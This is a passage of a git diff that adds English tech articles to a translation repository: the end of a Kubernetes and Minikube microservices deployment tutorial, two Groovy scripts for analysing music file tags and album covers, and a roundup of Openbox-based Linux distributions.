environment: + - MYSQL_ROOT_PASSWORD=admin + - MYSQL_DATABASE=glarimy + volumes: + - “mysql_data:/glarimy”mysqldb: +``` + +The above manifest pulls *mysql:*latest image from the Docker Hub and runs the container. The name of the container must be *mysqldb* as the *AddService* is looking for the database engine on a machine named *mysqldb*. Also, both must run on the same network to resolve the name. Since the*AddService* was configured to run on *glarimy* network (in the previous part), *mysqldb* is also configured to run on the same network. + +The above configuration is also directing the container to create a database named *glarimy* since the *AddService* is configured to use that database. + +However, this is still not sufficient. The MySQL container writes the data on to the file system that is mapped to the container. Once the container is restarted, the files are gone! That is not good for us. We want the data to be written on to the disk in such a way that it outlives the containers. In other words, we want to mount a volume so that the container uses only that mount point. The last line in the above configuration is meant for that. + +The following is the resulting full manifest in*docker-compose.yml*: + +``` +version: “2” +networks: +glarimy: +driver: bridge +services: +zookeeper: +image: docker.io/bitnami/zookeeper:3.8 +ports: +- “2181:2181” +volumes: +- “zookeeper_data:/glarimy” +environment: +- ALLOW_ANONYMOUS_LOGIN=yes +networks: +- glarimy +kafka: +image: docker.io/bitnami/kafka:3.1 +ports: +- “9092:9092” +volumes: +- “kafka_data:/glarimy” +environment: +- KAFKA_CFG_ZOOKEEPER_CONNECT=zookeeper:2181 +- ALLOW_PLAINTEXT_LISTENER=yes +networks: +- glarimy +depends_on: +- zookeeper +mysqldb: +image: mysql:latest +networks: +- glarimy +environment: +- MYSQL_ROOT_PASSWORD=admin +- MYSQL_DATABASE=glarimy +volumes: +- “mysql_data:/glarimy” +ums: +image: glarimy/ums-add-service +networks: +- glarimy +depends_on: +- zookeeper +- mysqldb +volumes: +zookeeper_data: +driver: local +kafka_data: +driver: local +mysql_data: +driver: local +``` + +Run the following command to deploy the containers, like we did in the previous part: + +``` +$ docker-compose up +``` + +However, this is not our actual goal. The docker-compose can deploy multiple containers in one go, only on a single machine. It does not offer resilience and does not offer cluster deployment. + +### Kubernetes and Minikube + +The production infrastructure of microservices consists of several machines forming a cluster. The containers are expected to be distributed fairly across the machines (aka nodes) in the cluster. New nodes may be added to the cluster and existing nodes may be removed from it at any time. Yet, the containers are expected to be rescheduled on the current set of nodes. + +Kubernetes does take care of such an orchestration. It deploys the containers across the cluster and redistributes them whenever needed — all without any manual intervention. + +Figure 2 is a high-level presentation of Kubernetes architecture. + +![Figure 2: Kubernetes architecture][2] + +The Kubernetes cluster consists of one or more nodes, which may be physical or virtual machines. Each node can run several pods. A pod is a group of containers. Each pod gets an ephemeral IP address that is known as cluster-ip address. This address is local to the cluster and visible to all other pods across it. In other words, the pods within the cluster can reach out to each other using the cluster-ip address. + +Normally, a pod consists of only one application container that runs a microservice. Besides this, a pod may also run several other infrastructure containers that take on tasks such as monitoring, logging, etc. + +A deployment unit in Kubernetes consists of a set of such pods. This set is known as a replica-set. For example, you can create a deployment unit for AddService in such a way that three pods are scheduled in the cluster with each pod running an AddService container. If any of the pods crash for whatever reason, Kubernetes schedules another pod on the cluster in such a way that three pods of AddService are always running. Note that the pods of a replica-set do not necessarily run on a single node. + +Though this is sufficient for the containers on different pods/nodes to collaborate with each other, it is very cumbersome for a pod to address another pod based on an ephemeral address. To solve this problem, we can create a front-end to each of the replica-sets. Such a front-end is called a service. Each service is exposed with an address that is not ephemeral. The address is called node-port if it is made visible only within the cluster or external-ip if exposed outside the cluster. A service can also be configured with a load balancer so that the incoming calls can be routed to the end-points (pods) in a fairly balanced manner. + +This is Kubernetes in a nutshell. There are several tools available in the market to set up a Kubernetes cluster. Minikube is one such tool that helps in setting up single-node clusters. The instructions given below can be followed to set up the Minikube cluster on an Ubuntu machine that has Docker engine running. + +Download Minikube distribution. + +``` +$ curl -LO https://storage.googleapis.com/minikube/releases/latest/minikube-linux-amd64 +``` + +Give the following command to install Minikube: + +``` +$ sudo install minikube-linux-amd64 /usr/local/bin/minikube +``` + +Create a group named docker and add the user: + +``` +$ sudo usermod -aG docker && newgrp docker +``` + +Start the cluster: + +``` +$ minikube start +``` + +Create this handy alias: + +``` +$ alias kubectl=”minikube kubectl --” +``` + +A single-node Kubernetes cluster is now up and running on the local machine. + +### Deploying MySQL on Kubernetes + +Let us deploy a replica-set consisting of just one pod of MySQL. The service is exposed by the name mysqldb. Other pods must use this name in order to access the database service. The port 3306 is exposed only within the cluster. We don’t want any one from outside the cluster to log in to our database server. The deployment also mandates to create a schema by the name *glarimy* and to use a mounted volume. + +``` +apiVersion: v1 +kind: Service +metadata: +name: mysqldb +spec: +ports: +- port: 3306 +selector: +app: mysqldb +clusterIP: None +--- +apiVersion: apps/v1 +kind: Deployment +metadata: +name: mysqldb +spec: +selector: +matchLabels: +app: mysqldb +strategy: +type: Recreate +template: +metadata: +labels: +app: mysqldb +spec: +containers: +- image: mysql:5.6 +name: mysqldb +env: +- name: MYSQL_ROOT_PASSWORD +value: admin +- name: “MYSQL_DATABASE” +value: “glarimy” +ports: +- containerPort: 3306 +name: mysqldb +volumeMounts: +- name: mysql-persistent-storage +mountPath: /var/lib/mysql +volumes: +- name: mysql-persistent-storage +persistentVolumeClaim: +claimName: mysqldb +--- +apiVersion: v1 +kind: PersistentVolume +metadata: +name: mysqldb +labels: +type: local +spec: +storageClassName: manual +capacity: +storage: 20Gi +accessModes: +- ReadWriteOnce +hostPath: +path: “/mnt/data” +--- +apiVersion: v1 +kind: PersistentVolumeClaim +metadata: +name: mysqldb +spec: +storageClassName: manual +accessModes: +- ReadWriteOnce +resources: +requests: +storage: 2Gi +``` + +### Deploying Kafka on Kubernetes + +Apache Kafka cluster requires Zookeeper for internal management. So we need to deploy both. Since Kafka and Zookeeper have their own discovery protocol, we expose them on NodePort and connect them. + +``` +apiVersion: v1 +kind: Service +metadata: +labels: +app: zookeeper +name: zookeeper +spec: +type: NodePort +ports: +- name: zookeeper-port +port: 2181 +nodePort: 30181 +targetPort: 2181 +selector: +app: zookeeper +--- +apiVersion: apps/v1 +kind: Deployment +metadata: +labels: +app: zookeeper +name: zookeeper +spec: +selector: +matchLabels: +app: zookeeper +replicas: 1 +template: +metadata: +labels: +app: zookeeper +spec: +containers: +- image: bitnami/zookeeper +name: zookeeper +ports: +- containerPort: 2181 +env: +- name: ZOOKEEPER_ID +value: “1” +- name: ZOOKEEPER_SERVER_1 +value: zookeeper +- name: ALLOW_ANONYMOUS_LOGIN +value: “yes” +--- +apiVersion: v1 +kind: Service +metadata: +labels: +app: kafka +name: kafka +spec: +type: NodePort +ports: +- name: kafka-port +port: 9092 +nodePort: 30092 +targetPort: 9092 +selector: +app: kafka +--- +apiVersion: apps/v1 +kind: Deployment +metadata: +labels: +app: kafka +name: kafka +spec: +selector: +matchLabels: +app: kafka +replicas: 1 +template: +metadata: +labels: +app: kafka +spec: +containers: +- name: kafka +image: bitnami/kafka +ports: +- containerPort: 9092 +env: +- name: KAFKA_BROKER_ID +value: “1” +- name: MY_MINIKUBE_IP +valueFrom: +fieldRef: +fieldPath: status.hostIP +- name: KAFKA_ZOOKEEPER_CONNECT +value: “$(MY_MINIKUBE_IP):30181” +- name: KAFKA_LISTENERS +value: “PLAINTEXT://:9092” +- name: MY_POD_IP +valueFrom: +fieldRef: +fieldPath: status.podIP +- name: KAFKA_ADVERTISED_LISTENERS +value: “PLAINTEXT://$(MY_POD_IP):9092” +- name: ALLOW_PLAINTEXT_LISTENER +value: “yes” +``` + +### Deploying AddService on Kubernetes + +And, finally, we want to deploy three instances of*AddService* and expose them to the outside world through a load balancer with an *external-ip*. + +``` +apiVersion: apps/v1 +kind: Deployment +metadata: +name: ums-add-service +labels: +app: ums-add-service +spec: +replicas: 3 +selector: +matchLabels: +app: ums-add-service +template: +metadata: +labels: +app: ums-add-service +spec: +containers: +- name: ums-add-service +image: glarimy/ums-add-service +ports: +- containerPort: 8080 +--- +apiVersion: v1 +kind: Service +metadata: +name: ums-add-service +labels: +name: ums-add-service +spec: +type: LoadBalancer +ports: +- port: 8080 +selector: +app: ums-add-service +``` + +This whole configuration can be written in one single manifest file and deployed with one single command: + +``` +$ kubectl create -f .yml +``` + +In order to run the load balancer, the following command also needs to run on a separate terminal: + +``` +$ minikube tunnel +``` + +You can check the deployed service using the following command: + +``` +$ kubectl get services +``` + +It gives an output that looks like Figure 3. It lists the services, their addresses, etc. + +![Figure 3: Kubernetes services][3] + +The following command lists the deployments, which show the number of pods of each deployment that is running: + +``` +$ kubectl get deployments +``` + +The output looks like Figure 4. + +![Figure 4: Kubernetes deployment][4] + +And, finally, to see the real pods that run the containers, use the following command: + +``` +$ kubectl get pods +``` + +Figure 5 shows that there are three pods running for *AddService*, and one pod running for Zookeeper, Kafka and MySQL each. + +![Figure 5: Pods][5] + +Since the *AddService* is exposed with an external-ip, it can be accessed using the following command: + +``` +$ curl -X POST -H ‘Content-Type: application/json’ -i http://:8080/user --data ‘{“name”:”Krishna Mohan”, “phone”:9731423166}’ +``` + +### Why is this reference architecture? + +Irrespective of the nature of the application, number of microservices, platforms on which they are developed, services like databases, brokers, etc, the overall architecture remains the same like what has been described here. + +The development architecture focuses on service decomposition, platform selection, framework selection, design of API, repositories, etc. This part was addressed using our understanding of domain driven design, object-oriented patterns, frameworks like SpringBoot, Flask, Express, etc. + +The deployment architecture focuses on number of machines, nodes, replica-sets, pods, address-mechanisms, volumes, etc. This part is addressed using our understanding of container technology and Kubernetes. We will dwell into design patterns associated exclusively with microservices like gateways, circuit breakers, registries, etc, in future. The good thing is that Kubernetes and other such tools implement many of these patterns out-of-the-box. + +Before going that far, we will develop the *FindService*, *SearchService* and *JournalService* on Python and Node platforms in the next parts of this series of articles so that we take UMS to a conclusion. + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/08/microservices-deployment-architecture-with-kubernetes-clusters/ + +作者:[Krishna Mohan Koyya][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/krishna-mohan-koyya/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/06/Figure-1-Reference-architecture.jpg +[2]: https://www.opensourceforu.com/wp-content/uploads/2022/06/Figure-2-Kubernetes-architecture.jpg +[3]: https://www.opensourceforu.com/wp-content/uploads/2022/06/Figure-3-Kubernetes-services.jpg +[4]: https://www.opensourceforu.com/wp-content/uploads/2022/06/Figure-4-Kubernetes-deployment.jpg +[5]: https://www.opensourceforu.com/wp-content/uploads/2022/06/Figure-5-Pods.jpg diff --git a/sources/tech/20220827 My favorite open source library for analyzing music files.md b/sources/tech/20220827 My favorite open source library for analyzing music files.md new file mode 100644 index 0000000000..b13f948b06 --- /dev/null +++ b/sources/tech/20220827 My favorite open source library for analyzing music files.md @@ -0,0 +1,188 @@ +[#]: subject: "My favorite open source library for analyzing music files" +[#]: via: "https://opensource.com/article/22/8/analyze-music-files-jaudiotagger" +[#]: author: "Chris Hermansen https://opensource.com/users/clhermansen" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +My favorite open source library for analyzing music files +====== +Here's how I use the JAudiotagger library with a Groovy script I created to analyze my music files. + +In my [previous article][2], I created a framework for analyzing the directories and subdirectories of music files, using the `groovy.File` class, which extends and streamlines `java.File` and simplifies its use. In this article, I use the open source [JAudiotagger library][3] to analyze the tags of the music files in the music directory and subdirectories. Be sure to read the first article in this series if you intend to follow along. + +### Install Java and Groovy + +Groovy is based on Java, and requires a Java installation. Both a recent and decent version of Java and Groovy might be in your Linux distribution's repositories. Groovy can also be installed directly from the [Apache Foundation website][4]. A nice alternative for Linux users is [SDKMan][5], which can be used to get multiple versions of Java, Groovy, and many other related tools. For this article, I use SDK's releases of: + +* Java: version 11.0.12-open of OpenJDK 11 +* Groovy: version 3.0.8 + +### Back to the problem + +In the 15 or so years that I've been carefully ripping my CD collection and increasingly buying digital downloads, I have found that ripping programs and digital music download vendors are all over the map when it comes to tagging music files. Sometimes, my files are missing tags that can be useful to music players, such as `ALBUMSORT`. Sometimes this means my files are full of tags I don't care about, such as `MUSICBRAINZ_DISCID`, that cause some music players to change the order of presentation in obscure ways, so that one album appears to be many, or sorts in a strange order. + +Given that I have nearly 10,000 tracks in nearly 700 albums, it's quite nice when my music player manages to display my collection in a reasonably understandable order. Therefore, the ultimate goal of this series is to create a few useful scripts to help identify missing or unusual tags and facilitate the creation of a work plan to fix tagging problems. This particular script analyzes the tags of music files and creates a CSV file that I can load into [LibreOffice][6] or [OnlyOffice][7] to look for problems. It won't look at missing `cover.jpg` files nor show album sub-subdirectories that contain other files, because this isn't relevant at the music file level. + +### My Groovy framework plus JAudiotagger + +Once again, start with the code. As before, I've incorporated comments in the script that reflect the (relatively abbreviated) "comment notes" that I typically leave for myself: + +``` +1  @Grab('net.jthink:jaudiotagger:3.0.1') +2  import org.jaudiotagger.audio.* +   +3  def logger = java.util.logging.Logger.getLogger('org.jaudiotagger'); +4  logger.setLevel(java.util.logging.Level.OFF); +   +5  // Define the music library directory +   +6  def musicLibraryDirName = '/var/lib/mpd/music' +   +7  // These are the music file tags we are happy to see +8  // Some tags can occur more than once in a given file +   +9  def wantedFieldIdSet = ['ALBUM', 'ALBUMARTIST', +10 'ALBUMARTISTSORT', 'ARTIST', 'ARTISTSORT', +11 'COMPOSER', 'COMPOSERSORT', 'COVERART', 'DATE', +12 'GENRE', 'TITLE', 'TITLESORT', 'TRACKNUMBER', +13 'TRACKTOTAL', 'VENDOR', 'YEAR'] as LinkedHashSet +   +14  // Print the CSV file header +   +15  print "artistDir|albumDir|contentFile" +16  print "|${wantedFieldIdSet*.toLowerCase().join('|')}" +17  println "|other tags" +   +18  // Iterate over each directory in the music libary directory +19  // These are assumed to be artist directories +   +20  new File(musicLibraryDirName).eachDir { artistDir -> +   +21 // Iterate over each directory in the artist directory +22 // These are assumed to be album directories +   +23 artistDir.eachDir { albumDir -> +   +24 // Iterate over each file in the album directory +25 // These are assumed to be content or related +26 // (cover.jpg, PDFs with liner notes etc) +   +27 albumDir.eachFile { contentFile -> +   +28   // Initialize the counter map for tags we like +29   // and the list for unwanted tags +   +30   def fieldKeyCounters = wantedFieldIdSet.collectEntries { e -> +31 [(e): 0] +32   } +33   def unwantedFieldIds = [] +   +34   // Analyze the file and print the analysis +   +35   if (contentFile.name ==~ /.*\.(flac|mp3|ogg)/) { +36 def af = AudioFileIO.read(contentFile) +37 af.tag.fields.each { tagField -> +38 if (tagField.id in wantedFieldIdSet) +39   fieldKeyCounters[tagField.id]++ +40 else +41   unwantedFieldIds << tagField.id +42 } +43 print "${artistDir.name}|${albumDir.name}|${contentFile.name}" +44 wantedFieldIdSet.each { fieldId -> +45 print "|${fieldKeyCounters[fieldId]}" +46 } +47 println "|${unwantedFieldIds.join(',')}" +48   } +49 } +50 } +51  } +``` + +Line 1 is one of those awesomely lovely Groovy facilities that simplify life enormously. It turns out that the kind developer of JAudiotagger makes a compiled version available on the Maven central repository. In Java, this requires some [XML ceremony and configuration][8]. Using Groovy, I just use the @Grab annotation, and Groovy handles the rest behind the scenes. + +Line 2 imports the relevant class files from the JAudiotagger library. + +Lines 3-4 configure the JAudiotagger library to turn off logging. In my own experiments, the default level is quite verbose and the output of any script using JAudiotagger is filled with logging information. This works well because Groovy builds the script into a static main class. I'm sure I'm not the only one who has configured the logger in some instance method only to see the configuration garbage collected after the instance method returns. + +Lines 5-6 are from the framework introduced in Part 1. + +Lines 7-13 create a LinkedHashSet containing the list of tags that I hope will be in each file (or, at least, I'm OK with having in each file). I use a LinkedHashSet here so that the tags are ordered. + +This is a good time to point out a discrepancy in the terminology I've been using up until now and the class definitions in the JAudiotagger library. What I have been calling "tags" are what JAudiotagger calls `org.jaudiotagger.tag.TagField` instances. These *instances* live within an instance of `org.jaudiotagger.tag.Tag`. So the "tag" from JAudiotagger's point of view is the collection of "tag fields". I'm going to follow their naming convention for the rest of this article. + +This collection of strings reflects a bit of [prior digging with metaflac][9]. Finally, it's worth mentioning that JAudiotagger's `org.jaudiotagger.tag.FieldKey` uses "_" to separate words in the field keys, which seems incompatible with the strings returned by `org.jaudiotagger.tag.Tag.getFields()`, so I don’t use `FieldKey`. + +Lines 14-17 print the CSV file header. Note the use of Groovy's `*.` spread operator to apply `toLowerCase()` to each (upper case) string element of `wantedFieldIdSet`. + +Lines 18-27 are from the framework introduced in Part 1, descending into the sub-sub-directories where the music files are found. + +Lines 28-32 initialize a map of counters for the desired fields. I use counters here because some tag fields can occur more than once in a given file. Note the use of `wantedFieldIdSet.collectEntries` to build a map using the set elements as keys (the key value e is in parentheses, as it must be evaluated). I explain this in more detail in [this article][10] about maps in Groovy. + +Line 33 initializes a list for accumulating unwanted tag field IDs. + +Lines 34-48 analyzes any FLAC, MP3 or OGG music files found: + +* Line 35 uses the Groovy match operator `==~` and a "slashy" regular expression to check file name patterns; +* Line 36 reads the music file metadata using `org.jaudiotagger.AudioFileIO.read()` into the variable af +* Line 37-48 loops over the tag fields found in the metadata: + * Line 37 uses Groovy's `each()` method to iterate over the list of tag fields returned by `af.tag.getFields()`, which in Groovy can be abbreviated to `af.tag.fields` + * Line 38-39 counts any occurrence of a wanted tag field ID + * Line 40-41 appends an occurrence of an unwanted tag field ID to the unwanted list + * Line 43-47 prints out the counts and unwanted fields (if any) + +That's it! + +Typically, I would run this as follows: + +``` +$ groovy TagAnalyzer2.groovy > tagAnalysis2.csv +``` + +And then I load the resulting CSV into a spreadsheet. For example, with LibreOffice Calc, I go to the **Sheet** menu and select **Insert sheet from file.** I set the delimiter character to `|`. In my case, the results look like this: + +![Image of a screenshot of the first few rows of tagAnalysis2.csv][11] + +Image by: (Chris Hermansen, CC BY-SA 4.0) + +I like to have the ALBUMARTIST defined as well as the ARTIST for some music players so that the files in an album are grouped together when artists on individual tracks vary. This happens in compilation albums, but also in some albums with guest artists where the ARTIST field might say for example "Tony Bennett and Snoop Dogg" (I made that up. I think.) Lines 22 and onward in the spreadsheet shown above don't specify the album artist, so I might want to fix that going forward. + +Here is what the last column showing unwanted field ids looks like: + +![Image of a screenshot of unwanted field ids in tagAnalysic2.csv][12] + +Image by: (Chris Hermansen, CC BY-SA 4.0) + +Note that these tags may be of some interest and so the "wanted" list is modified to include them. I would set up some kind of script to delete field IDs BPM, ARTWORKGUID, CATALOGUENUMBER, ISRC and PUBLISHER. + +### Next steps + +In the next article, I'll step back from tracks and check for `cover.jpg` and other non-music files lying around in artist subdirectories and album sub-subdirectories. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/8/analyze-music-files-jaudiotagger + +作者:[Chris Hermansen][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/clhermansen +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/video_editing_folder_music_wave_play.png +[2]: https://opensource.com/article/22/8/groovy-scripting-analyzing-music-directory-part-1 +[3]: http://www.jthink.net/jaudiotagger/examples_read.jsp +[4]: https://groovy.apache.org/download.html +[5]: https://opensource.com/article/22/3/manage-java-versions-sdkman +[6]: https://opensource.com/tags/libreoffice +[7]: https://opensource.com/article/20/7/nextcloud +[8]: https://opensource.com/article/22/3/maven-manage-java-dependencies +[9]: https://opensource.com/article/19/11/metaflac-fix-music-tags +[10]: https://opensource.com/article/22/6/maps-groovy-vs-java +[11]: https://opensource.com/sites/default/files/2022-08/screenshot%20of%20first%20few%20rows%20of%20tagAnalysis2.csv%20in%20LibreOffice%20Calc.png +[12]: https://opensource.com/sites/default/files/2022-08/screenshot%20of%20unwanted%20field%20ids%20in%20tagAnalysis2.csv_.png diff --git a/sources/tech/20220828 7 Minimalist Linux Distributions Featuring Openbox.md b/sources/tech/20220828 7 Minimalist Linux Distributions Featuring Openbox.md new file mode 100644 index 0000000000..65d50c48b2 --- /dev/null +++ b/sources/tech/20220828 7 Minimalist Linux Distributions Featuring Openbox.md @@ -0,0 +1,144 @@ +[#]: subject: "7 Minimalist Linux Distributions Featuring Openbox" +[#]: via: "https://itsfoss.com/openbox-distros/" +[#]: author: "Anuj Sharma https://itsfoss.com/author/anuj/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +7 Minimalist Linux Distributions Featuring Openbox +====== + +[Openbox][1] is a lightweight, configurable, stacking window manager available for Linux. It supports many standards making it a good fit for any desktop. + +You will be surprised to know that **LXDE and LXQT desktop environments are built around Openbox**. You can even replace the window manager of your desktop environment with it. + +Of course, you can install Openbox on almost any Linux distribution. However, configuring it takes time and effort. + +An easier way out would to be to use a distribution that provides an Openbox variant. In this article, I list some distros that give you an out-of-the-box Openbox experience. + +**Note:** The list is in alphabetical order and is not a ranking. + +### 1. Archcraft + +![archcraft live media with neofetch open in terminal][2] + +This is one of the exciting choices if you want to get your hands on the Openbox window manager. Openbox is the default desktop for the distro so you can expect it to be great unlike other distros. + +It provides a minimal and lightweight environment as it can run under 500 MB without compromising the looks. The UI elements are cohesive. + +You can switch themes with just a click. It also provides Windows like UI if you like that. + +For power users it has built in support for AUR and Chaotic-AUR. Unlike any other distros, it provides the best out of box experience. + +[Archcraft][3] + +### 2. ArcolinuxB Openbox + +![arcolinuxb openbox live media with neofetch open in terminal][4] + +It should be an excellent distro for your Linux desktop if you want to learn Arch (The main motive of Arcolinux project). + +It is one of the many flavors of ArcolinuxB project. One can expect slight learning curve and rough edges. + +You will not see cohesive UI elements as Archcraft here and it may need some tinkering to get a good experience. + +[ArcolinuxB][5] + +### 3. AV Linux MX Edition + +![av linux live media with neofetch open in terminal][6] + +AV Linux MX Edition is based on MX Linux but with Openbox as the window manager. + +It uses the high-performance [Liquorix Kernel][7] and provides low latency audio which is desired by audiophiles. It also has support for Windows Audio via Wine-staging. + +You may want to try this out if you are an audio professional and a Linux user. It may seem bloated to some users, as it comes with many pre-installed apps. + +[AV Linux][8] + +### 4. Bunsenlabs Linux + +![bunsenlabs live media with neofetch open in terminal][9] + +BunsenLabs Linux is a Debian-based distribution offering a lightweight and easily customizable Openbox desktop. The project is a fork of [CrunchBang Linux][10]. + +It is still based on Debian 10, so you will get the older versions of apps in repos. However, it has quite a good out-of-box experience due to the inclusion of hardware and multimedia support, unlike Debian. + +It has an interface as cohesive as Archcraft and also provides a great range of conky configurations. + +[BunsenLabs Linux][11] + +### 5. Crunchbangplusplus + +![crunchbangplusplus live media with neofetch open in terminal][12] + +As the name suggests, it is a Crunchbang fork, and tries to stay as close as possible to the original. + +For those unaware, Crunchbang was a popular Openbox distribution discontinued almost a decade ago. + +Crunchbang++ is minimal and lightweight. It may make some users nostalgic. It is based on Debian 11, which can provide newer packages as compared to Bunsenlabs. + +[Crunchbangplusplus][13] + +### 6. Mabox Linux + +![mabox linux live media with neofetch open in terminal][14] + +Mabox Linux is a modern Manjaro-based distribution that focuses on customization or ricing. + +It is minimal and fast due to use of light components. You also get newer software due to rolling release. + +Some of the exclusive features of this distro are Colorizer (changes accent colors according to wallpaper), Quicktiling(for easily tiling windows) and customizable menus/panels. This much customization may intimidate some minimalists. + +[Mabox Linux][15] + +### 7. Sparky Linux Openbox + +![sparky linux openbox live media with neofetch open in terminal][16] + +Sparky Linux is a Debian-based Linux distribution which also provides Openbox as an alternative desktop. + +It has an edition with Debian Testing, which can be useful for users who need newer apps. It is focused on providing out of box experience for Debian and keeps the customization to users. Thus, you might not see that much eye candy here. + +[Sparky Linux][17] + +### Wrapping Up + +There are several other Linux distributions on which you can install Openbox. + +But, for this list, I have listed the ones which provide Openbox in live media and some of them have Openbox as their default desktop also. + +What is your favorite Openbox distribution? Do you like it pre-customized or prefer to customize the yourself? Your suggestions are always welcome. + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/openbox-distros/ + +作者:[Anuj Sharma][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/anuj/ +[b]: https://github.com/lkxed +[1]: http://openbox.org/wiki/Main_Page +[2]: https://itsfoss.com/wp-content/uploads/2022/08/archcraft.png +[3]: https://archcraft.io/ +[4]: https://itsfoss.com/wp-content/uploads/2022/08/arcolinuxb-openbox.png +[5]: https://arcolinuxb.com/ +[6]: https://itsfoss.com/wp-content/uploads/2022/08/av-linux.png +[7]: https://liquorix.net/#features +[8]: http://www.bandshed.net/avlinux/ +[9]: https://itsfoss.com/wp-content/uploads/2022/08/bunsenlabs-linux.png +[10]: https://en.wikipedia.org/wiki/CrunchBang_Linux +[11]: https://www.bunsenlabs.org/ +[12]: https://itsfoss.com/wp-content/uploads/2022/08/crunchbangpp-linux.png +[13]: https://crunchbangplusplus.org/ +[14]: https://itsfoss.com/wp-content/uploads/2022/08/mabox-linux.png +[15]: https://maboxlinux.org/ +[16]: https://itsfoss.com/wp-content/uploads/2022/08/sparkylinux-openbox.png +[17]: https://sparkylinux.org/ diff --git a/sources/tech/20220828 How I use Groovy to analyze album art in my music directory.md b/sources/tech/20220828 How I use Groovy to analyze album art in my music directory.md new file mode 100644 index 0000000000..36bfaaa290 --- /dev/null +++ b/sources/tech/20220828 How I use Groovy to analyze album art in my music directory.md @@ -0,0 +1,140 @@ +[#]: subject: "How I use Groovy to analyze album art in my music directory" +[#]: via: "https://opensource.com/article/22/8/groovy-album-music-directory" +[#]: author: "Chris Hermansen https://opensource.com/users/clhermansen" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +How I use Groovy to analyze album art in my music directory +====== +Here's how I use open source tools to analyze my music directory including album cover files. + +In this series, I'm developing several scripts to help in cleaning up my music collection. In the last article, I used the framework I created for analyzing the directory and sub-directories of music files and carried out the analysis with the fine open source [JAudiotagger library][2] to analyze the tags of the music files in the music directory and subdirectories. In this article, I will do a simpler job: + +1. Use the framework we created in Part 1 +2. Make sure each album directory has a `cover.jpg` class +3. Make a note of any other files in the album directory that aren't FLAC, MP3 or OGG. + +### Music and metadata + +If you haven't read [part 1][3] and [part 2][4] of this series, do that now so you understand the intended structure of my music directory, the framework created in that article, and how to pick up FLAC, MP3, and OGG files. + +One more thing. Most audio ripping applications and many downloads: + +* Don't come with a useful `cover.jpg` file +* Even if they do come with a useful `cover.jpg` file, they don't link the media files to it +* Carry in all sorts of other files of dubious utility (for example, `playlist.m3u`, which gets created by a tagging utility I've used in the past) + +As I mentioned in my last article, the ultimate goal of this series is to create a few useful scripts to help identify missing or unusual tags and facilitate the creation of a work plan to fix tagging problems. This particular script looks for missing `cover.jpg` files and unwanted non-media files, and creates a CSV file that you can load into [LibreOffice][5] or [OnlyOffice][6] to look for problems. It won't look at the media files themselves, nor does it look for extraneous files left in the artist subdirectories (those are exercises left for the reader). + +### The framework and album files analysis + +Start with the code. As before, I've incorporated comments in the script that reflect the (relatively abbreviated) "comment notes" that I typically leave for myself: + +``` +1  // Define the music library directory +        +2  def musicLibraryDirName = '/var/lib/mpd/music' +        +3  // Print the CSV file header +        +4  println "artist|album|cover|unwanted files" +        +5  // Iterate over each directory in the music libary directory +6  // These are assumed to be artist directories + +7  new File(musicLibraryDirName).eachDir { artistDir -> +        +8      // Iterate over each directory in the artist directory +9      // These are assumed to be album directories +        +10      artistDir.eachDir { albumDir -> +        +11          // Iterate over each file in the album directory +12          // These are assumed to be content or related +13          // (cover.jpg, PDFs with liner notes etc) +        +14          // Initialize the counter for cover.jpg +15          // and the list for unwanted file names +        +16          def coverCounter = 0 +17          def unwantedFileNames = [] +        +18          albumDir.eachFile { contentFile -> +        +19              // Analyze the file +        +20              if (contentFile.name ==~ /.*\.(flac|mp3|ogg)/) { +21                  // nothing to do here +22              } else if (contentFile.name == 'cover.jpg') { +23                  coverCounter++ +24              } else { +25                  unwantedFileNames << contentFile.name +26              } +        +27          } +28          println "${artistDir.name}|${albumDir.name}|$coverCounter|${unwantedFileNames.join(',')}" +29      } +30  } +``` + +Lines 1-2 define the name of the music file directory. + +Line 3-4 print the CSV file header. + +Lines 5-13 come from the framework created in Part 1 of this article and get down to the album sub-subdirectories. + +Lines 14-17 set up the `cover.jpg` counter (should only ever be zero or one) and the empty list in which we will accumulate unwanted file names. + +Lines 18-27 analyze any files found in the album directories: + +Lines 20-21 uses the Groovy match operator `==~` and a "slashy" regular expression to check file name patterns. Nothing is done with these files (see Part 2 for that information). + +Lines 22-23 count the instances of `cover.jpg` (it should only ever be zero or one). + +Lines 24-26 record the names of any non-media, `non-cover.jpg` files to show potential cruft or who-knows-what in the album directories. + +Line 28 prints out the artist name, album name, cover.jpg count and list of unwanted file names. + +That’s it! + +### Running the code + +Typically, I run this as follows: + +``` +$ groovy TagAnalyzer3.groovy > tagAnalysis3.csv +``` + +Then I load the resulting CSV into a spreadsheet. For example, with LibreOffice Calc , go to the **Sheet** menu and select **Insert sheet from file**. When prompted, set the delimiter character to `|`. In my case, the results look like this: + +![Image of a screenshot of LibreOffice showing tagAnalysis3][7] + +Image by: (Chris Hermansen, CC BY-SA 4.0) + +I've sorted this in increasing order of the column "cover" to show album sub-subsubdirectories that don't have `cover.jpg` files. Note that some have `cover.png` instead. My experience with music players is that at least some don't play well with PNG format cover images. + +Also, note that some of these have PDF liner notes, extra image files, M3U playlists, and so on. In my next article, I'll show you how to manage some of the cruft. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/8/groovy-album-music-directory + +作者:[Chris Hermansen][a] 